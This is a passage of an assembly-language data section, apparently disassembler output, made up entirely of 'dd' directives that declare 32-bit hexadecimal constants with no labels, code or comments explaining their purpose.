		dd 1F5BD7E1h, 1CC6978h,	99B79F2h, 3B3892CEh, 746EAC17h
		dd 0A99BD900h, 0A4AD790Ch, 72D4D612h, 162063BCh, 9E963FB8h
		dd 25AD949h, 29392BA5h,	0F67605Fh, 0BFE69D31h, 20EB604Ah
		dd 0F98D01DEh, 0FB9A96BEh, 805835ACh, 3912DE8Eh, 7D19FB62h
		dd 0FA52712Bh, 2204FA05h, 0CBEDAA9Dh, 91340CADh, 1D5F634Ch
		dd 38494CD2h, 9E5F4A2h,	0B9D96141h, 5CB299Dh, 0A530572Ah
		dd 543C3B39h, 0A07980F7h, 0D1423883h, 0F51F01B5h, 0D67D9C65h
		dd 17F1E6FFh, 0D5379600h, 9DE29311h, 5642C194h,	352F7621h
		dd 0E11000F4h, 5AA43191h, 39E9FC5Ah, 2D78082h, 0D32564E5h
		dd 2E885063h, 0A913E075h, 38BA03E9h, 0E15A994Ah, 5DA022F7h
		dd 2FBEFD34h, 144C7D40h, 5E5C7CBFh, 17EF6E32h, 0D9AA7DFDh
		dd 6AD46F55h, 23176BBAh, 87FF0117h, 2F56DDB7h, 8501D090h
		dd 0AF165AADh, 645A196Ah, 0D8A7AAD1h, 3195E04Ah, 51C81383h
		dd 657ABA16h, 50001B23h, 531DF64Ah, 0A0BE2771h,	0A8F35A00h
		dd 109D5FAEh, 723F37E9h, 0E9BF4E0Bh, 0EB81C173h, 0B86F1F47h
		dd 61AAD697h, 2E31A5E4h, 0D09C98h, 615E6D8Ah, 44C325C5h
		dd 0FEC97105h, 81BA6AA7h, 80629A8h, 13CCBAD9h, 0B63FDB80h
		dd 0F887451h, 0BF57A08Ah, 3A360A08h, 8BFEB037h,	5B760F91h
		dd 32E9124Dh, 7A55C96Eh, 9D29A2B0h, 81F75299h, 120CBB4Fh
		dd 0A46B367Dh, 34E822Ah, 281688Ch, 99C63BCFh, 7DA6BA22h
		dd 2D20CAD8h, 4ECA982Ah, 812BC4F5h, 6E0271C9h, 0D10163C8h
		dd 2B13EDA6h, 3E85E7C8h, 0FEF4481h, 14A5BB47h, 0EBD3D18Fh
		dd 0A09DE3C8h, 0E6F8BF4Ch, 63D4BE80h, 5F8B4C44h, 3A6761F0h
		dd 2AF6B4Eh, 15B195B5h,	0BDD94E1Bh, 20BED233h, 0A4BB9223h
		dd 0C6019400h, 3534955h, 92C1599Dh, 111E5B24h, 20BB0257h
		dd 7601B78Eh, 0D39DCF2Ch, 222BB247h, 51809D3Fh,	9419EDAh
		dd 57C9B532h, 0C9327661h, 0B5E5CF18h, 62EBCB00h, 9F0BDF85h
		dd 371C3AD8h, 0D181B783h, 701A4A7Ah, 1BEC2054h,	79D0D884h
		dd 49B19D7Fh, 2A0FF95Ch, 0CBC015DBh, 8CB28925h,	0A72CEA04h
		dd 51E8E52Eh, 60513320h, 0A6896A84h, 27466A6h, 4CC1CCD4h
		dd 82BCF1DFh, 0D8B9FE8Bh, 48B66358h, 23F13C40h,	0C5D00B6h
		dd 5A0DA5CDh, 0D20006CAh, 5805087h, 9BF4344h, 24B3DAB8h
		dd 559444D8h, 7EF27DCh,	0FACC1057h, 88A85B0Bh, 1600C407h
		dd 0C07ED6FEh, 1AFC14CAh, 0C5458D09h, 0F5EB0957h, 2FF3896Ch
		dd 0D22BB121h, 3915717Fh, 0CB2E0729h, 0F33C76C1h, 2A999DD8h
		dd 60FA309Dh, 0E81C3DB5h
		dd 42207BC5h, 3C18D271h, 9C0B40Fh, 0FD5802EDh, 0F97502B2h
		dd 85BF8472h, 0ACF3E9B5h, 0A0018C1Ah, 62F0ABB8h, 3D30BA8Ch
		dd 0AF094E65h, 6A4B123Ah, 56BB1692h, 253F95FCh,	0B9ACF8C0h
		dd 959D010Bh, 71DF7412h, 0ECD03D82h, 9578D3C9h,	0FE0125FEh
		dd 0AFD203DBh, 728226D4h, 5C737DDAh, 29481951h,	4EA504F4h
		dd 0B7B57747h, 26F91058h, 80E1FF02h, 0D6742EE3h, 82045250h
		dd 2800C3F9h, 0A325E51Dh, 982F00F8h, 0C07830F4h, 0D04E0504h
		dd 0D56B61EEh, 745F022Eh, 0AD3F51D6h, 5BECD05Dh, 8CCFA30Ch
		dd 5DF9F3F6h, 2EBDF360h, 0B92041C9h, 0A2014B6Dh, 0BD2904C8h
		dd 9B340295h, 99B0C78Ch, 0F653AC90h, 0FF6297B4h, 438BA15Eh
		dd 0D076F301h, 0E2B7FC53h, 1335571Ah, 57811791h, 6EB1998Ch
		dd 41457E9Ch, 7826E0Eh,	0A7B374F0h, 4F47176h, 0AA4C6BDBh
		dd 0C487FE90h, 0C0014D4Bh, 6608E914h, 84401B68h, 9668F807h
		dd 60C8C74Eh, 74612582h, 4C690F47h, 0A4733869h,	76FDC70h
		dd 0BF476475h, 38192087h, 31259D29h, 69E0D133h,	0F8409ECDh
		dd 4EB3727Eh, 60498D43h, 778A0864h, 61603918h, 102EE934h
		dd 0E059A6AAh, 9FBB6D9h, 5D803861h, 97A3E455h, 0D2AF09BDh
		dd 810F284Ah, 89D69538h, 41BCD540h, 6F3E1CC7h, 372301E7h
		dd 613878B8h, 208F540h,	0D8E78461h, 8DEE61BAh, 0E88A2EEDh
		dd 0CB042158h, 0E86404B2h, 0A4C65C3Dh, 271136C1h, 3F68C104h
		dd 8B9E6E7Fh, 0AFE0438Fh, 5EB6E2EDh, 598FDB95h,	0A22F191Ah
		dd 97B1024Eh, 0F4C99D23h, 86782DA7h, 1CC81AE1h,	83733BC0h
		dd 0AD8802DDh, 8BF5C43Dh, 0D82CE37Fh, 177BD409h, 0A7515750h
		dd 92962776h, 88E7C098h, 17640045h, 6B3423CFh, 1A9D7977h
		dd 0BA60D553h, 85972BFAh, 8BAEF9DBh, 874C5830h,	54B5B486h
		dd 2A53D9FFh, 1D718CF2h, 0F494B350h, 8401ECD5h,	0E4EAB878h
		dd 221C7C2Bh, 0BFD95239h, 0BC2A5F77h, 0F6087ABh, 2A96D569h
		dd 96258EBFh, 4F80B2DBh, 3D731DD6h, 0CF2EFA74h,	2E906A29h
		dd 0A8C80C69h, 0FC9D858Dh, 8348F65Ch, 0A0A84BCFh, 2CEB508Dh
		dd 3ADF55B9h, 1CA83CB9h, 0BC0033A4h, 1A016058h,	0F44582BFh
		dd 0B79561h, 79090B09h,	0B08167E7h, 3E179BCFh, 0EBE01497h
		dd 0DF892F38h, 0A620C679h, 0D74B4569h, 15F1E635h, 98021418h
		dd 590FE9BBh, 705A5B62h, 0D6B07F9Dh, 0E5E57325h, 524F12C5h
		dd 0E18AB6C8h, 28F88559h, 651A09A7h, 0CC5D510Bh, 211D20D7h
		dd 0CDEF5B52h, 0F96E7C11h, 427B85Fh, 0A37C97C4h, 0D809EF41h
		dd 6694D520h, 10B02B0h,	5D2A3195h, 0E551103Ah, 0B5B4CB16h
		dd 584816DAh, 0C437001Ch, 560CB026h, 0AC853D4Bh, 677BBFh
		dd 18B3DBF3h, 12ACB006h, 0EBD980D4h, 0D89703DAh, 961D504Fh
		dd 0BB075F51h, 72578634h, 73C8829Ah, 5D07D387h,	39BB4634h
		dd 9AF07A6Ah, 0AD065E41h, 99FECC8h, 5A181787h, 73694774h
		dd 181B594Ch, 0DA27003Fh, 4FEDCAABh, 0BD1731CBh, 75AF12E1h
		dd 80F4A8F9h, 0FD29DD2Ah, 92E600D3h, 0B6B59EC0h, 2C079A4Fh
		dd 7D7B68B7h, 35819B44h, 9E6AC486h, 0D363C032h,	25805CCCh
		dd 7CD952E7h, 2F7B0054h, 7F303145h, 8997F523h, 81842050h
		dd 58A099CBh, 501331E6h, 82869B20h, 0DD0523AEh,	425CE632h
		dd 6A5F5241h, 4ABD6F6Fh, 896622EAh, 2F2861E1h, 257C698Ah
		dd 0B1542735h, 4A1B46DEh, 690F42AAh, 0D975BA17h, 1296130Ah
		dd 8085B238h, 0B4FD50DAh, 3931006Ch, 29018187h,	993F92A9h
		dd 0C0775C8Fh, 5C9E4910h, 0A80E00E5h, 0EFA7E3D3h, 68C59687h
		dd 6FBA1B79h, 3D1C2377h, 3560EECEh, 0B5059D03h,	0CD499979h
		dd 2936C042h, 0F5B59BDh, 37882FB3h, 40E57CA5h, 0BBFC0EF1h
		dd 0FD37E0Ah, 5058A386h, 0C149003Dh, 728E319Bh,	1905B224h
		dd 324D2ABDh, 0D84C90EEh, 0F20FBF50h, 5312BC68h, 19B9CB04h
		dd 0E545A6FBh, 0B8216670h, 1AC1B7B2h, 0FD752E15h, 0C200D8A2h
		dd 6C6E34F8h, 2E099913h, 735FAFB7h, 181659E5h, 0EC0C0226h
		dd 212DBD23h, 80B5EE75h, 9060FA80h, 0BEC20FE0h,	17E4698Ch
		dd 0A4F4B861h, 9B2652FBh, 0BA11811Eh, 0F9D09BE1h, 4C5E9769h
		dd 0ABAED4h, 75DF2FF5h,	0DB105954h, 0B27AC65Fh,	17EBDE01h
		dd 8F912C5Ch, 8B9589DAh, 0ED9E572Fh, 75C1BB03h,	0A5E92EA1h
		dd 6F1113BBh, 57202593h, 999DC298h, 0BCBC184Eh,	0A000B6D7h
		dd 253715C7h, 0E1CE8DB3h, 0B5207122h, 0FDD86B93h, 0D074FBFh
		dd 0B9618AECh, 0E09EC500h, 0F159B526h, 444817F9h, 0A1290B49h
		dd 375D6A07h, 9DA8A6B8h, 88445E5h, 0BCCCA96Ah, 74FC4871h
		dd 1062B75Eh, 94402ED9h, 0FF12DD1h, 0EF12AE54h,	0F809F0E0h
		dd 0FA024A29h, 13FAAC35h, 393F6FF7h, 551B04A2h,	0AC2BECCh
		dd 0A7AB55CDh, 25DE1AD6h, 92D7CE79h, 4A5E8EDEh,	0F62B12h
		dd 47C031F5h, 0FC93AB49h, 574B6BBEh, 7D008F64h,	0B090FF10h
		dd 437CD36h, 7F319AB2h,	0A7DAEB7Ah, 1FC3FED1h, 0BF80F3BCh
		dd 5225B368h, 9002E65Bh, 0D1BBA058h, 19BF1266h,	89E1E299h
		dd 4F3DD5B7h, 4C0B1B9Eh, 854DF6B6h, 0BA18E595h,	0C4B6D134h
		dd 5FF7FEA4h, 80154354h, 6809EF81h, 126A0D3h, 3EC8BB37h
		dd 0E807043Ah, 0B9875E0Dh, 0E0F0DE89h, 980AD1Dh, 1F0462F8h
		dd 0F2103FFh, 0D0BAA831h, 362109C2h, 880BB966h,	5E586255h
		dd 343FDCDBh, 985800B5h, 89334AA7h, 0B2F14B8Dh,	2D1594F4h
		dd 0C617D9B7h, 40B332DBh, 1BF09D0h, 79D7F8FBh, 3B604056h
		dd 28237C08h, 54982503h, 1C70BC73h, 89EEB7FCh, 1F423A97h
		dd 0EA7EAF2Bh, 80F82AE0h, 0BF7F02CBh, 6519ABF1h, 0F742DF2h
		dd 13258091h, 8A19E814h, 9DAF006Ch, 495A4223h, 0C602EFC0h
		dd 0FEAD1B3Bh, 5BFB82A3h, 40C5FC90h, 799249ACh,	0C4E2FB09h
		dd 3C437B60h, 1DEEB90Eh, 88846569h, 12745403h, 1FF661F7h
		dd 4E39B240h, 0CE6EAF13h, 0A84EEA57h, 211705F8h, 0E0AAC85Bh
		dd 1F4F8D91h, 74A66CF7h, 0D9A18D25h, 521B648Eh,	40AFD916h
		dd 0A03EBB78h, 0E4252450h, 23161071h, 0B99C0041h, 0A2B32535h
		dd 7C0474E5h, 7A1A3AEEh, 5F97F6EAh, 822AB5A0h, 8181205Dh
		dd 7A4768D7h, 0C73897BAh, 41E3D6Dh, 718924A0h, 215801A5h
		dd 0F4615B07h, 0D2BCF87Bh, 42E16D12h, 928CAC6Ah, 0AC3A42E1h
		dd 0C82B80F8h, 9C219D09h, 89D18236h, 0CEFE6585h, 9C619B91h
		dd 7AD6D8F7h, 0C2606F8Dh, 554C0150h, 0DD81BF47h, 0F9BC2ECFh
		dd 9B7E5127h, 8529CB02h, 0DAFA90Dh, 17522030h, 9773D5DEh
		dd 88CCDB2Dh, 569527BDh, 0D2C30945h, 0A4357923h, 1DF30258h
		dd 0D6896137h, 394699D7h, 25860414h, 6529BB2Eh,	2E159E42h
		dd 0C2D687C9h, 81A750h,	6F641D21h, 66DFCAADh, 0E47F0C82h
		dd 0B2215BBDh, 6F34844Eh, 6AF88B02h, 0E0E76DF5h, 3295A127h
		dd 82A07200h, 8A605D90h, 0E984C5F4h, 0A9AE5006h, 0ACAEE94Ah
		dd 19E68C1Ah, 3AE37805h, 0C304BB3Dh, 0B902332Dh, 3DDD0EF1h
		dd 1A7B0AABh, 0E910995h, 0EBC6E755h, 0CFFC23ECh, 0E14E0E62h
		dd 3BFC072Eh, 2B431D7Ch, 0BFD291C0h, 5BB420F4h,	8142B664h
		dd 0F8DAE381h, 6E3ECF71h, 4CE000F0h, 7578EB89h,	0A14D7187h
		dd 0DC2E199Ch, 65F60352h, 4AED2E4Ah, 98C18BCh, 0BBBE3ACAh
		dd 2ED06E2Dh, 0E3F8529Dh, 3F4425CDh, 7693CE5h, 0DD89F584h
		dd 47E1154Dh, 8EBAD4F1h, 35E70125h, 7730761Ah, 0B280C337h
		dd 8218EFF2h, 4D762758h, 452D1164h, 58F95E17h, 3E094A28h
		dd 792E3F74h, 0BD33024Dh
		dd 71D52491h, 3BED4B8Ch, 0E6455240h, 58630E2Ch,	0FFA0AD31h
		dd 828CBFE1h, 0E5605725h, 63B11A29h, 0DF9BA02h,	9FA4757h
		dd 414F03B9h, 8A4A6C43h, 53275E58h, 829EEEFCh, 0E89CDAC2h
		dd 17557140h, 74BF6080h, 38EE25B4h, 0BBDB29E2h,	55B4370h
		dd 32DF36B2h, 16D5A844h, 14EC04C1h, 0BACCBBC4h,	0BA4FDFA2h
		dd 482E1D2Dh, 2B96293Bh, 0EA9232A8h, 0B69220DAh, 0BE4500C8h
		dd 818C1B2Ch, 0B69009DBh, 0CCD532EEh, 89C179EDh, 10C36E60h
		dd 0F6BA98D3h, 11616BC4h, 3182A256h, 8913FD95h,	8010774Ah
		dd 0BE00761Bh, 8DB4ADFh, 9DC58h, 68BA8E89h, 26DEFAE4h
		dd 0EA0E3FEDh, 755B0980h, 0FF2EC7E5h, 2B781180h, 2F64562h
		dd 0E7F49D46h, 0E275DA8Fh, 0F2B25732h, 1CE8F175h, 93D56561h
		dd 562400FFh, 225513BFh, 0CB955F68h, 0C4B0D15Bh, 0D78952D4h
		dd 9E20AA31h, 769234h, 27DF91E7h, 2FD4693Ah, 0B00BC477h
		dd 0F47236EFh, 319E4095h, 66052C3Bh, 0C3D2537h,	0ED17FE00h
		dd 12585F5Bh, 0BBFFCB80h, 65BF1260h, 2C9A979Dh,	2B075F7Eh
		dd 1B4E90Fh, 80AEDEAAh,	10D8237h, 4BF07E3Dh, 3A21CDB5h
		dd 18C1D1B5h, 0B1D5E72Ah, 1F6AA353h, 0E7D1AD05h, 30AD974Fh
		dd 4FE7F35Ah, 94EF3C85h, 4EDBAB58h, 0D160AFD2h,	979D2942h
		dd 98AAAC5Ah, 8032BDDFh, 0F3AC5D4h, 839EDBC6h, 74F26225h
		dd 3404DC65h, 0E966B6BAh, 4EC0DBB8h, 35C66141h,	99221C00h
		dd 3233E3FFh, 20BF0250h, 9662919Ch, 8961BAD4h, 0BD2A1DB5h
		dd 68A0D8C5h, 48B470B2h, 0DF133B91h, 4DAFA0E1h,	6F1E4F09h
		dd 0A57571F5h, 8E7EE3F6h, 0CFC409FBh, 46C6BD89h, 57DAE025h
		dd 4C2C89B5h, 0B28A1FE0h, 78CE000Fh, 963F27Eh, 3340259Dh
		dd 6E614EF5h, 13524Dh, 0A293D198h, 9BB2E05h, 11E7D327h
		dd 0E6B8771h, 3DBA32CEh, 0DD29CA40h, 80226DC1h,	0BF12B311h
		dd 4B811EC4h, 0F8889A6Ah, 0F8008C1Bh, 0C174B843h, 0B7300698h
		dd 9D2769F8h, 0F43ED60Fh, 17B55900h, 0BFA95276h, 20401DB6h
		dd 66B24226h, 0CAD14C91h, 3849E201h, 352CEC58h,	0B1B876A0h
		dd 0C5097E25h, 38CF1DB2h, 0BC9DED4Fh, 228617CCh, 0CB32EE2Bh
		dd 0E696DD8Ah, 0F95B9B64h, 0F357DCEAh, 0C6324A25h, 0B9F85A7Eh
		dd 0AC17AC27h, 43253CC7h, 1974A4A7h, 0D099DC1h,	0E081EF04h
		dd 0E76AFCC2h, 4019B0D4h, 659101CDh, 2E28B5B0h,	4FD287C0h
		dd 768A933Dh, 0DDFA5244h, 0C3AC7B71h, 0BF575B25h, 458C8064h
		dd 0C5A4CA70h, 0F1969FB0h, 646E6DA5h, 0E6676016h, 8B502F7Eh
		dd 5F4B50C4h, 0DA6CBA04h, 0C8379AAEh, 0C03AC714h, 53F76AE7h
		dd 31AF085Ah, 19D9B713h, 4B2D0764h, 8C3B857Fh, 500AE4B3h
		dd 54EF007h, 6F78C0D2h,	5F0C25BAh, 905550C2h, 1CF83D42h
		dd 408359B9h, 556A42Dh,	0B328D25Ah, 9C0BEB61h, 7433FEC7h
		dd 59EDE9A2h, 2509784Bh, 0AF732A3Dh, 0A0ACF996h, 0E9151696h
		dd 9379CEB3h, 0AB918CAFh, 73DA9A4Ah, 8BCD305Ah,	0FEBA50DFh
		dd 9FE7D497h, 7956A7B7h, 38AD1902h, 858B0A06h, 0ABDA8B60h
		dd 734C6AA6h, 8F39A24Bh, 9895B229h, 858E60FBh, 3A972F49h
		dd 58E40312h, 0E675CA44h, 0D0D19702h, 260D18Eh,	5CFA64A2h
		dd 0A56B5107h, 78FF7B30h, 0EC4A6922h, 0CB05BBF2h, 0AA8B2808h
		dd 96C9E7B1h, 0E16EDEDDh, 0F8AD2E27h, 0E0D1E7C0h, 0FE017BD3h
		dd 19406561h, 6E2B9693h, 0FB220AD1h, 90BF03Dh, 59CE7423h
		dd 1C881BDAh, 0CCD5E8C0h, 3C86053Eh, 0BB2915B9h, 0BD230D30h
		dd 0ED2EEF61h, 636AB9D8h, 319821F7h, 6C948595h,	0F3E95B16h
		dd 0A84EB9D2h, 0DCAE017Fh, 0E6541C07h, 29E1CC9Dh, 2D919512h
		dd 28E24CB8h, 7E9ADF2Bh, 3F5651CAh, 3060EB68h, 8C92FAh
		dd 0DDA338CAh, 0C67EB0E8h, 4903AEB7h, 85CD7503h, 528AFB2Dh
		dd 0B4F55175h, 0E854BBA8h, 51A17607h, 9C26E67h,	0ED925D89h
		dd 0D753C07Fh, 0C01B12D4h, 0CF6B354h, 4B619D31h, 0EF5D290h
		dd 44F8DEE2h, 0C5A42175h, 70828B97h, 8A7CBFA2h,	93680CDEh
		dd 8E86108Bh, 0CE73D6E1h, 7C716178h, 0BF1402FCh, 3FF8B30Fh
		dd 5F2FC756h, 31900011h, 0F904A765h, 1A462FECh,	60A95700h
		dd 0E382E5A8h, 0E67E0204h, 330EBE97h, 45BB7860h, 1A416CEAh
		dd 0CC5C12AFh, 0AF1C5E5Bh, 0C9A2B621h, 0D1A6C4h, 0B51A5711h
		dd 0CEAE810Ah, 7632E927h, 2D1A490Dh, 859AD9FFh,	0AA5FE1A1h
		dd 0D99513C0h, 0F0808029h, 0CF9561ECh, 0B7DE4085h, 775A2C5Ah
		dd 11D4491Fh, 69B5C2F0h, 0FAED5517h, 0A1E0F4E8h, 131C5BD5h
		dd 44519D29h, 0ABD98BF8h, 14C8FEDAh, 55F869CEh,	0FF27D2C4h
		dd 0C068EDD1h, 799C010Ah, 99099D71h, 0E4161FC0h, 0F39F1C62h
		dd 38A10075h, 4645F240h, 263AA200h, 98B6645Eh, 5BF70481h
		dd 0EE63B7CAh, 4821488Bh, 48F60212h, 500DEAE0h,	36FA604Bh
		dd 3AA20B94h, 0BDCD10F7h, 0DD334A01h, 0B5F201B3h, 0F0BB0307h
		dd 257D4326h, 0FF597BE9h, 100598C7h, 9F4D30FBh,	0B0097959h
		dd 5D91FAF9h, 0B89000B7h, 8504D921h, 0F8099293h, 7F6E755Ch
		dd 8AAC6D52h, 0BC09BFB5h, 8F9C572Fh, 0D4C494h, 0DF749EF1h
		dd 0A67011E0h, 29BD0B09h, 0A7605B02h, 0A96AF907h, 17C0FE4Dh
		dd 2BF12FCh, 4FBCBB4Ah,	0E6F735C0h, 9D0B0C15h, 0B5790579h
		dd 2DF5D57Fh, 3DBC68h, 0BF217022h, 0DCDB6E6h, 297E0497h
		dd 18A27AACh, 0C508D12Ah, 0F0B01728h, 32B82B8Fh, 133D32F9h
		dd 5B270E6h, 598D5300h,	0B619FD3Fh, 0C72B3B09h,	600F0778h
		dd 0C8AE8B14h, 0BF090F52h, 0F55F61CFh, 0DB6025C4h, 8FD5BB49h
		dd 0AE334ABFh, 0BAF8F144h, 4D34DCF3h, 0B263C4B1h, 29120064h
		dd 0C34B5C04h, 0F0DB0092h, 39B10DB2h, 0B00BD307h, 7529DFB3h
		dd 3A01296Ch, 0D7DE8DF6h, 0A9144A8Fh, 50D108Eh,	0E9E5E092h
		dd 4C958770h, 0DC2000D5h, 1CF71171h, 0F4008C64h, 0FB6B08D4h
		dd 17A41BC4h, 72A9D74h,	4E491Bh, 8FCF8144h, 2B01CDFDh
		dd 40489911h, 503DBED5h, 1EC33751h, 0BFCB8001h,	998482Bh
		dd 0D80DABA0h, 133DE961h, 0F98B352Ah, 5BD8275h,	0C6EC5515h
		dd 8D302245h, 0F22B5A35h, 59BDC4F3h, 7601434h, 0B6740A12h
		dd 7E251077h, 33DC0127h, 5E494449h, 0D3C5B921h,	90F0208h
		dd 944254B9h, 372F0B54h, 0D8180020h, 0A52FDB7Fh, 3B261724h
		dd 19131588h, 34097261h, 0B79FFC17h, 386904C8h,	0A9A08178h
		dd 0F9610722h, 9041C02Bh, 0F23A1B55h, 0C3A692CCh, 0E3E7E8A0h
		dd 6228DB75h, 0A125C36Dh, 60915B22h, 8BFAF381h,	0AD635D3Eh
		dd 809DDBDh, 11863557h,	82438018h, 97392AA1h, 79B5CF30h
		dd 82B1598Ah, 26D9BD23h, 71997355h, 2184C31Ah, 25E4E799h
		dd 0AFE28E2h, 0B53DBABAh, 9C76A459h, 4B33C159h,	0F6C63188h
		dd 0E7BB6620h, 434DB56Bh, 0CA6AFFCBh, 30DB7B41h, 2BE1E9A2h
		dd 0BFAD8F38h, 876056EFh, 2650C75h, 1E629A0Dh, 6D77A611h
		dd 62144439h, 51895702h, 0CDAD9353h, 3F674074h,	0E50B78FBh
		dd 0BBF3652h, 6034540Bh, 0C08AE881h, 610EFF1Ch,	2685217Fh
		dd 30FE1602h, 0F85A6B36h, 72869C00h, 20BB1EACh,	84171223h
		dd 5285006Ch, 5F25E376h, 33E1FF29h, 15C64525h, 0F934F5B4h
		dd 0DE2AA66h, 0F704BE85h, 0E8AFA1EBh, 2A127968h, 89C7B2C9h
		dd 0F6E6F659h, 7C1C3D2Dh, 2629100Eh, 1DE3960h, 4AF89873h
		dd 2BD258EEh, 0A26FE316h, 0BCAD017Bh, 0A336AEF9h, 0D7FC8403h
		dd 0E2AC4E72h, 963BDB4Ah, 5BC16EBh, 0AF1A85F8h,	1A3BCE32h
		dd 7BD4DE56h, 0CF8E01FAh
		dd 0DF98E090h, 78322A24h, 0E1EA7556h, 0D09A5355h, 0F07A2560h
		dd 0E162EF04h, 4BE4173h, 13136951h, 0D7091D0Ch,	0FB904F61h
		dd 0F5D7E830h, 36283AADh, 0F5ECC637h, 1942AB5Bh, 705325BFh
		dd 56572535h, 0DB4C0B77h, 0C4F7787Dh, 0D4AE6702h, 82E8D98Ah
		dd 935B9h, 0D0F1B168h, 32C8294Fh, 8F170024h, 7662828Ah
		dd 0D3003537h, 0E9E589FEh, 4BD2991Fh, 0DD9F20B0h, 0FB1FA50Bh
		dd 0EC4FFD4Eh, 0C3290361h, 3F4CC8A8h, 545697B6h, 0F1AA5B44h
		dd 0CFF2FC33h, 26A2294Ch, 3109C9D9h, 0A7915113h, 0FE547C62h
		dd 20377D49h, 0E32C6680h, 76FDEC8Eh, 63C0BD38h,	0E912E2B7h
		dd 74EA01EAh, 8204AD81h, 5586C781h, 7397D6E6h, 0B9FA78B8h
		dd 49DF5C95h, 0DEDD29D7h, 0D012F6D0h, 65EE87C7h, 5A2CE3F4h
		dd 2A2DD2A8h, 25C6E79h,	0A87FEFAFh, 0C4D503EAh,	0FF894F04h
		dd 35950460h, 0F0D99520h, 55F12C5Ch, 0E1BD0C93h, 851201C9h
		dd 2DB91911h, 5C8C1AA8h, 0AE4FBD8Eh, 5B34A314h,	515401AFh
		dd 28EB8A60h, 0C27880E1h, 2FE56EDFh, 665EFCC8h,	0D08B6005h
		dd 13AAF6AEh, 80BB19E7h, 9686DC8Fh, 0DCE1BEh, 1AAB0AD7h
		dd 0B5FF12A1h, 0F6355E9Fh, 276B8413h, 0BB8024A2h, 78853F77h
		dd 3BC9C0B8h, 0CE4D0C8Ah, 0C78724BFh, 47C149AFh, 0F1C32658h
		dd 0F87E3FD5h, 71FC891Ah, 52908CB8h, 0C29FFA60h, 48C5DF8Dh
		dd 13D1A4ECh, 64905F59h, 751AFC1Eh, 2B5EBD7Eh, 9AB441BDh
		dd 0B1D4C0A8h, 0F11EC2h, 0BFD5874Dh, 793C2B91h,	0BD1002B0h
		dd 69722819h, 2A97485h,	46478251h, 6FEE120Eh, 8C142E5Fh
		dd 2C28D300h, 0B5E91809h, 0B80F8C29h, 0AA699C13h, 5F92BF00h
		dd 7C2291E0h, 1CEA1E9Ch, 0D2BB0EE9h, 0D937F2C7h, 25DDC971h
		dd 3A50C353h, 0C0900BEFh, 3B5884ACh, 0C5E27F25h, 0EBB71382h
		dd 0AA3E0E8Eh, 97789EDFh, 2305AFBCh, 0FC31B7BBh, 0DA00AAC0h
		dd 0BE38FFA8h, 0F97A69A9h, 7236E295h, 5B8DECA4h, 6A6EAE33h
		dd 23CF344Dh, 36755160h, 1913C8F8h, 9CE8568Bh, 0D9E69880h
		dd 675B661Ch, 306D39AEh, 3140290Bh, 789550h, 0C02B0345h
		dd 34895B08h, 0DC6374B5h, 0DD428C18h, 82271DF6h, 2E5EA60h
		dd 0EB565C9Dh, 0A6E4C410h, 0D187CBFDh, 66C62D85h, 121F489Eh
		dd 0CAE204B5h, 21D98B85h, 6A096074h, 0B3FB95C4h, 25B0758Fh
		dd 80F58039h, 0FFDEA504h, 0A9035Eh, 0AEE235E4h,	6120D2E9h
		dd 620C5C9Fh, 0DD320ACFh, 256FA6C0h, 9F2090B7h,	0BD0E0760h
		dd 0F87F4DF9h, 25B55308h, 0A5F3DF8Bh, 1D5ACDD0h, 0CA0D500Ah
		dd 17D03866h, 3775AED9h, 25A110B6h, 0B31A2EEFh,	0E99D5653h
		dd 0D4507Eh, 0B1EE9535h, 61C56554h, 8222E225h, 5745E64Fh
		dd 6B1364E1h, 6A4E5A8Bh, 0F0970924h, 0DD31023Eh, 9D230129h
		dd 2517E15h, 273BB82Ch,	0A861B507h, 4A242B33h, 0F068B7AAh
		dd 2642D8E5h, 295160B1h, 39A580D8h, 0C76CE2D3h,	0B5C123BEh
		dd 960332B9h, 50DE8609h, 28A7960h, 0B3CA29B0h, 95604576h
		dd 25809BEAh, 9E649661h, 2D81FB0Eh, 0E5EE604Ah,	5EFDAD48h
		dd 8578D0Fh, 0D13CBB70h, 8F792DE5h, 5CF0292Dh, 0B373EB21h
		dd 1FA3550h, 800534A5h,	54DDE8E0h, 0A31FB8ADh, 7ABB8547h
		dd 0C5FF13F3h, 272080ECh, 3BDF99Dh, 52C870AAh, 0B5C58CCDh
		dd 97745601h, 0F33D422Ch, 282AC0F3h, 67B6249Dh,	0CD2E02D1h
		dd 1557AFB7h, 0D1F24136h, 97B035C5h, 22BAF5A2h,	0CF7781DCh
		dd 0E137C00Ah, 46796EAEh, 0C7BEFEBDh, 309981Dh,	1C427DBDh
		dd 0F81973DDh, 0B51A7EC5h, 40D35396h, 97EA507Ah, 0CE6D26BAh
		dd 0AB1FEB60h, 4C53FA19h, 0EE5B1C6Eh, 95BD6045h, 3B753DAEh
		dd 0B44935BCh, 0B5037DBCh, 0C0BB7ED3h, 9F8C8CE1h, 14BA00A2h
		dd 0B789D0FDh, 9727871Fh, 55A67429h, 53D56900h,	268C8F49h
		dd 0AEA0AB1h, 0DE62C6DBh, 4E0A6000h, 5A37651Eh,	120593ACh
		dd 2E06B129h, 3821923Dh, 0E9A4D03Bh, 8F97F23Eh,	0D7916B6Ah
		dd 0CA2B36B5h, 5765779Ch, 44819599h, 257BE83Ch,	496376B3h
		dd 8ADAE1DFh, 0F85C213Fh, 268C7E6Ah, 0DF5B064Eh, 1A611F01h
		dd 0B414669Dh, 0B8EB4064h, 7700414Ch, 482E607Fh, 1CA67D2Ch
		dd 0EF898E8Dh, 9E942C55h, 0EF107194h, 5DC5725Ah, 7420BA53h
		dd 75F3EB7h, 0B5B9AFCh,	11DD6950h, 5D100857h, 3C055C47h
		dd 7AD82DAFh, 1DE36F40h, 15DD7Eh, 57905B35h, 53B13BBFh
		dd 0E05F5427h, 0FB23C790h, 956D8920h, 4DA44B7Ch, 0C5EB15DEh
		dd 8711A4D7h, 0C9125F03h, 899D81B9h, 5779100Dh,	40C2CD69h
		dd 8C0FFE55h, 202E0A45h, 0D3DA3FF2h, 0EE9C9525h, 61359F5Dh
		dd 0D1FFDC04h, 276184C1h, 89D0E37Ah, 0A89A7534h, 24AD7C4h
		dd 503522AFh, 4A971BC6h, 76E4406Ch, 743500AEh, 173C648Ch
		dd 0A1160577h, 49FBE90Bh, 117B153Fh, 0E76625BFh, 109E0806h
		dd 0D19D3102h, 0D0D67B2Ah, 0BE598459h, 686016E1h, 1DACDBADh
		dd 49D0038Ch, 0E690A55Eh, 86DD60CFh, 0F0981B7h,	0FD50F9BFh
		dd 72BBF698h, 39899013h, 0FA892DB8h, 65FB6DD5h,	6B6C2018h
